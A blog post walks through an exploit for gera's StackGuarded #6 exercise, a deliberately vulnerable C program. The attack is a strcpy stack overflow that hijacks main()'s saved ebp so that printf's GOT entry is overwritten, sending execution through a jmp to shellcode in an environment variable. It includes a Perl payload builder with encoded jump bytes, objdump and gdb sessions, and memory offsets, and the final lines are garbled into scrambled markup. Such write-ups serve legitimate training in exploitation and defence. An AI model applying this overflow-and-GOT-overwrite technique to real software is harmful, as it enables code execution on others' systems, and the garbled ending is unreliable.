Sunday, September 9, 2012

StackGuarded #6

gera's StackGuarded #6.
/* sg6.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int get_username(char *user) {
        char temp[80];

        decrypt(temp,user);

        return strdup(temp);
}

int main(int argv, char **argc) {
    char *user_name;

    user_name = get_username(argc[1]);
    printf("User name is '%s'\n",user_name);
    return 0;
}
Same caveats.
The overview for this exploit is to use the buffer overflow in get_username() to control main()'s ebp and user_name variable. ebp is adjusted so that user_name will point to printf()'s GOT entry. On return from get_user(), the GOT entry will be overwritten with a pointer from strdup(). This pointer will point to a jmp statement which, in turn, will jump to shellcode in the environment.
Information gathering.
[dennis@localhost sg6]$ objdump -R sg6 | grep printf
080495ec R_386_JUMP_SLOT   printf

(gdb) x/x &user_name
0xbffffab4:     0x080496e8
(gdb) x/x $ebp - 4
0xbffffab4:     0x080496e8

[dennis@localhost sg6]$ export SG6=`perl sc.pl`
[dennis@localhost sg6]$ gcc -o ev6 ev6.c
[dennis@localhost sg6]$ ./ev6 `perl -e 'print "A" x 79'`
SG6 is at 0xbffffc52
The following was determined: printf()'s GOT entry, user_name's relative offset from ebp, location of the shellcode in the environment. argv1.pl looks like this.
#!/usr/bin/perl

use warnings;
use strict;

my $nop = "\x90" x 3;
# jmp from strdup buf to SG6 env var, bruteforce calculated
my $jmp = "\xe9\x62\x65\xfb\xb7";
my $filler = "\x90" x (79 - length($nop) - length($jmp));
my $argv1 = $nop.$jmp.$filler;
This will overflow get_username()'s buffer into main()'s saved ebp allowing complete control. The $jmp is a jmp statement to get from the heap (from strdup()) to the shellcode in the environment (on the stack.) Exploit.
(gdb) break 11
Breakpoint 1 at 0x80484e5: file sg6.c, line 11.
(gdb) break 19
Breakpoint 2 at 0x8048511: file sg6.c, line 19.
(gdb) run `perl argv1.pl`
Starting program: /home/dennis/sg6/sg6 `perl argv1.pl`

Breakpoint 1, get_username (
    user=0xbffffba9 "\220\220\220ébeû·", 'A' ) at sg6.c:12
12              return strdup(temp);
(gdb) info frame
Stack level 0, frame at 0xbffffa28:
 eip = 0x80484e5 in get_username (sg6.c:12); saved eip 0x804850b
 called by frame at 0xbffffa38
 source language c.
 Arglist at 0xbffffa28, args:
    user=0xbffffba9 "\220\220\220ébeû·", 'A' 
 Locals at 0xbffffa28, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) set {int}0xbffffa28 = 0x080495ec + 4 <-- 0x080495ec="" 0x80495ec="" 19="" 2="" argc="0x1)" argv="0," at="" breakpoint="" c="" continuing.="" ebp="" entry="" gdb="" got="" is="" main="" manually="" mimic="" n="" name="" overwrite="" printf="" s="" ser="" sg6.c:19="" user_name="" x="">:   0x080496e8 <-- 0x80496e8:="" 0x80496e9:="" 0x80496ea:="" 0x80496eb:="" 0xbffffc52="" gdb="" i="" in="" jmp="" nop="" pre="" sg6="" shellcode="" user_name="" x="">


No comments:

Post a Comment